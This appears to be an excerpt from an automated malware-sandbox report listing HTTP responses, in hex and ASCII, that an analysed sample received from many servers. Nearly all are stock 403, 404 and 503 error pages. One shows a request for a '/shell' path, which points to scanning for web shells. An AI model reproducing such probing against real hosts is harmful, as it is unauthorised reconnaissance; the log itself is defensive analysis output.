74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 6d 65 64 69 61 2f 63 73 73 2f 53 74 79 6c 65 73 2e 63 73 73 22 3e 0d 0a 3c 2f 6c 69 6e 6b 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 66 6f 72 6d 20 6e 61 6d 65 3d 22 63 74 6c 30 30 22 20 6d 65 74 68 6f 64 3d 22 70 6f 73 74 22 20 61 63 74 69 6f 6e 3d 22 4d 61 69 6e 74 65 6e 61 6e 63 65 2e 61 73 70 78 22 20 69 64 3d 22 63 74 6c 30 30 22 3e 0d 0a 20 20 3c 64 69 76 3e 0d 0a 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 5f 5f 56 49 45 57 53 54 41 54 45 22 20 69 64 3d 22 5f 5f 56 49 45 57 53 54 41 54 45 22 20 76 61 6c 75 65 3d 22 2f 77 45 50 44 77 55 4b 4c 54 51 30 4f 54 59 35 4f 54 49 79 4f 57 52 6b 63 4e 41 41 46 70 31 6a 61 37 4a 70 71 37 77 58 6a 39 68 75 4a 6a 4f 54 42 6c 41 3d 22 20 2f 3e 0d 0a 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 3c 64 69 76 20 69 64 3d 22 6f 75 74 65 72 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 69 6e 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 35 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 72 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 74 64 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 76 61 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 69 6d 61 67 65 73 2f 6e 69 6b 6f 6e 5f 6c 6f 67 6f 5f 30 32 2e 67 69 66 22 20 61 6c 74 3d 22 4e 69 6b 6f 6e 2c 20 49 6e 63 2e 22 20 6e 61
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 14 Apr 2024 02:00:14 GMTConnection: closeContent-Length: 326Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 35 30 33 2e 20 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><hr><p>HTTP Error 503. The service is unavailable.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:15 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 14 Apr 2024 02:00:16 GMTContent-Type: text/htmlContent-Length: 2097Connection: keep-alivex-ws-request-id: 661b38b0_PS-LHR-014D738_27582-7024Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 35 25 20 61 75 74 6f 20 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 20 31 38 70 78 7d 2e 50 7b 6d 61 72 67 69 6e 3a 30 20 32 32 25 7d 2e 4f 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 7d 2e 4e 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 4d 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 33 30 70 78 20 30 7d 2e 4c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 36 30 70 78 7d 2e 4b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b 63 6f 6c 6f 72 3a 23 46 39 30 7d 2e 4a 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 49 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 7d 2e 48 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 7d 2e 47 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 7d 2e 46 7b 77 69 64 74 68 3a 32 33 30 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 45 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 7d 2e 44 7b 6d 61 72 67 69 6e 3a 38 70 78 20 30 20 30 20 2d 32 30 70 78 7d 2e 43 7b 63 6f 6c 6f 72 3a 23 33 43 46 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 42 7b 63 6f 6c 6f 72 3a 23 39 30 39 30 39 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 7d 2e 41 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 30 70 78 7d 2e 68 69 64 65 5f 6d 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 70 22 20 63 6c 61 73 73 3d 22 50 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4b 22 3e 34 30 33 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4f 20 49 22 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 64 69 76 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 4a 20 41 20 4c 22 3e 45 72 72 6f 72 20 54 69 6d 65 73 3a 20 53 75 6e 2c 20 31 34 20 41 70 72 20 32 30 32 34 20 30 32 3a 30 30 3a 31 36 20 47 4d 54 0a 09 09 09 09 3c 62 72 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 46 22 3e 49 50 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 3c 2f 73 70 61 6e 3e 4e 6f 64 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3a 20 50 53 2d 4c 48 52 2d 30 31 34 44 37 33 38 0a 09 09 09 09 3c 62 72 3e 55 52 4c 3a 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:16 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 14 Apr 2024 02:00:16 GMTContent-Type: text/htmlContent-Length: 2097Connection: keep-alivex-ws-request-id: 661b38b0_PS-LHR-014D738_27582-7034Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 35 25 20 61 75 74 6f 20 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 20 31 38 70 78 7d 2e 50 7b 6d 61 72 67 69 6e 3a 30 20 32 32 25 7d 2e 4f 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 7d 2e 4e 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 4d 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 33 30 70 78 20 30 7d 2e 4c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 36 30 70 78 7d 2e 4b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b 63 6f 6c 6f 72 3a 23 46 39 30 7d 2e 4a 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 49 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 7d 2e 48 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 7d 2e 47 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 7d 2e 46 7b 77 69 64 74 68 3a 32 33 30 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 45 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 7d 2e 44 7b 6d 61 72 67 69 6e 3a 38 70 78 20 30 20 30 20 2d 32 30 70 78 7d 2e 43 7b 63 6f 6c 6f 72 3a 23 33 43 46 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 42 7b 63 6f 6c 6f 72 3a 23 39 30 39 30 39 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 7d 2e 41 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 30 70 78 7d 2e 68 69 64 65 5f 6d 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 70 22 20 63 6c 61 73 73 3d 22 50 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4b 22 3e 34 30 33 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4f 20 49 22 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 64 69 76 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 4a 20 41 20 4c 22 3e 45 72 72 6f 72 20 54 69 6d 65 73 3a 20 53 75 6e 2c 20 31 34 20 41 70 72 20 32 30 32 34 20 30 32 3a 30 30 3a 31 36 20 47 4d 54 0a 09 09 09 09 3c 62 72 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 46 22 3e 49 50 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 3c 2f 73 70 61 6e 3e 4e 6f 64 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3a 20 50 53 2d 4c 48 52 2d 30 31 34 44 37 33 38 0a 09 09 09 09 3c 62 72 3e 55 52 4c 3a 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 14 Apr 2024 01:59:55 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:17 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddenx-guploader-uploadid: ABPtcPrvg-BbDlIZZgcn5sF2p9mg81jBfRgVP0hmDRK3xTy10BPGyuf3MTDCdd_O8G2_o_G4vaJXT5qdQwcontent-type: application/xml; charset=UTF-8Content-Length: 111date: Sun, 14 Apr 2024 02:00:17 GMTexpires: Sun, 14 Apr 2024 02:00:17 GMTcache-control: private, max-age=0server: UploadServervia: 1.1 googleData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 41 63 63 65 73 73 44 65 6e 69 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 2f 45 72 72 6f 72 3e Data Ascii: <?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message></Error>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:18 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:19 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:21 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 196Keep-Alive: timeout=15, max=400Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sun, 14 Apr 2024 02:00:39 GMTContent-Length: 63Data Raw: e6 82 a8 e8 a6 81 e6 89 be e7 9a 84 e8 b5 84 e6 ba 90 e5 b7 b2 e8 a2 ab e5 88 a0 e9 99 a4 e3 80 81 e5 b7 b2 e6 9b b4 e5 90 8d e6 88 96 e6 9a 82 e6 97 b6 e4 b8 8d e5 8f af e7 94 a8 e3 80 82 Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 14 Apr 2024 02:00:25 GMTContent-Type: text/htmlContent-Length: 124Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:02:32 GMTServer: Apache/2.0.52 (Red Hat)Content-Length: 279Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 30 2e 35 32 20 28 52 65 64 20 48 61 74 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.0.52 (Red Hat) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Sun, 14 Apr 2024 02:00:24 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 